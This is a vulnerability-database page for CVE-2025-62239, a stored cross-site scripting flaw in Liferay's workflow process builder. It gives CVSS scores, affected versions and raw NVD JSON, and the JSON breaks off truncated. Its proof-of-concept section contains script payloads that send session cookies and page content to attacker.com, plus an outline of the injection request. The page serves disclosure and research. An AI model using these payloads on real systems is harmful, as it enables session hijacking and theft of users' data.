Security Vulnerability Report
中文
CVE-2025-62239 CVSS 5.4 MEDIUM

CVE-2025-62239

Published: 2025-10-10 13:15:49
Last Modified: 2025-12-12 18:12:00

Description

Cross-site scripting (XSS) vulnerability in workflow process builder in Liferay Portal 7.4.3.21 through 7.4.3.111, and Liferay DXP 2023.Q4.0 through 2023.Q4.5, 2023.Q3.1 through 2023.Q3.8, and 7.4 update 21 through update 92 allows remote authenticated attackers to inject arbitrary web script or HTML via the crafted input in a workflow definition.

CVSS Details

CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:liferay:digital_experience_platform:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:liferay:digital_experience_platform:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:liferay:digital_experience_platform:7.4:update21:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:liferay:digital_experience_platform:7.4:update22:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:liferay:digital_experience_platform:7.4:update23:*:*:*:*:*:* - VULNERABLE
Liferay Portal 7.4.3.21 ~ 7.4.3.111
Liferay DXP 2023.Q4.0 ~ 2023.Q4.5
Liferay DXP 2023.Q3.1 ~ 2023.Q3.8
Liferay DXP 7.4 update 21 ~ update 92

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CVE-2025-62239 - Liferay Workflow Process Builder Stored XSS PoC --> <!-- Attacker injects malicious script via workflow definition fields --> <!-- Step 1: Authenticate to Liferay Portal as a low-privilege user --> <!-- Step 2: Navigate to Workflow Process Builder --> <!-- Step 3: Create or edit a workflow definition with malicious payload --> <!-- Example malicious payload injected into workflow definition name/description/script field: --> <script>document.location='https://attacker.com/steal?cookie='+document.cookie</script> <!-- Alternative payload using event handler: --> <img src=x onerror="fetch('https://attacker.com/exfil',{method:'POST',body:JSON.stringify({cookies:document.cookie,dom:document.body.innerHTML})})"> <!-- Step 4: When another user (e.g., admin) views/interacts with the workflow --> <!-- The stored XSS payload executes in the victim's browser context --> <!-- Attacker can steal session cookies, perform actions as the victim, etc. --> <!-- HTTP Request Example (simplified): --> <!-- POST /group/control_panel/manage/-/workflow/edit-workflow-definition HTTP/1.1 --> <!-- Host: target-liferay-instance.com --> <!-- Content-Type: application/x-www-form-urlencoded --> <!-- Cookie: JSESSIONID=attacker_session --> <!-- --> <!-- _workflow_definition_name=<script>alert(document.cookie)</script>&... -->

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-62239", "sourceIdentifier": "[email protected]", "published": "2025-10-10T13:15:49.150", "lastModified": "2025-12-12T18:12:00.263", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Cross-site scripting (XSS) vulnerability in workflow process builder in Liferay Portal 7.4.3.21 through 7.4.3.111, and Liferay DXP 2023.Q4.0 through 2023.Q4.5, 2023.Q3.1 through 2023.Q3.8, and 7.4 update 21 through update 92 allows remote authenticated attackers to inject arbitrary web script or HTML via the crafted input in a workflow definition."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:A/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 4.6, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "HIGH", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:liferay:digital_experience_platform:*:*:*:*:*:*:*:*", "versionStartIncluding": "2023.q3.1", "versionEndExcluding": "2023.q3.9", "matchCriteriaId": "C3ED7CF1-6D8A-40F7-A009-F3A800F955BD"}, {"vulnerable": true, "criteria": "cpe:2.3:a:liferay:digital_experience_platform:*:*:*:*:*:*:*:*", "versionStartIncluding": "2023.q4.0", "versionEndExcluding": "2023.q4.6", "matchCriteriaId": "7C41E249-91C4-4B2D-A8D2-C953A463E14F"}, {"vulnerable": true, "criteria": "cpe:2.3:a:liferay:digital_experience_platform:7.4:update21:*:*:*:*:*:*", "matchCriteriaId": "22B6B8C1-1FF3-41BC-9576-16193AE20CC7"}, {"vulnerable": true, "criteria": "cpe:2.3:a:liferay:digital_experience_platform:7.4:update22:*:*:*:*:*:*", "matchCriteriaId": "DDA17F24-1A7E-4BEB-9C98-41761A2A36A2"}, {"vulnerable": true, "criteria": "cpe:2.3:a:liferay:digital_experience_platform:7.4:update23:*:*:*:*:*:*", "matchCriteriaId": "3B062851-CE6B-44F4-8222-422EC9872EC3"}, {"vulnerable": true, "criteria": "cpe:2.3:a:liferay:digital_experience_platform:7.4:update24:*:*:*:*:*:*", "matchCriteriaId": "D4687FDA-0078-4E89-ADD8-7EDDA68261A4"}, {"vulnerable": true, "criteria": "cpe:2.3:a:liferay:digital_experience_platform:7.4:update25:*:*:*:*:*:*", "matchCriteriaId": "7EA29B09-CC24-4063-96A5-96AA08C0886D"}, {"vulnerable": true, "criteria": "cpe:2.3:a:liferay:digital_experience_platform:7.4:update26:*:*:*:*:*:*", "matchCriteriaId": "331FC246-D3E9-4711-B305-BE51BF743CF7"}, {"vulnerable": true, "criteria": "cpe:2.3:a:liferay:digital_experience_platform:7.4:update27:*:*:*:*:*:*", "matchCriteriaId": "A5823BC0-8C11-4C31-9E99-3C9D82918E2A"}, {"vulnerable": true, "criteria": "cpe:2.3:a:liferay:digital_experience_platform:7.4:update28:*:*:*:*:*:*", "matchCriteriaId": "E2E6CB66-1AE1-4626-8070-64C250ED8363"}, {"vulnerable": true, "criteria": "cpe:2.3:a:liferay:digital_experience_platform:7.4:update29:*:*:*:*:*:*", "matchCriteriaId": "B63449AA-6831-4290-B1FA-0BB806820402"}, {"vulnerable": true, "criteria": "cpe:2.3:a:liferay:digital_experience_platform:7.4:update30:*:*:*:*:*:*", "matchCriteriaId": "B3B169F6-B8B8-4612-AD7D-F75CC6A9297B"}, {"vulnerable": true, "criteria ... (truncated)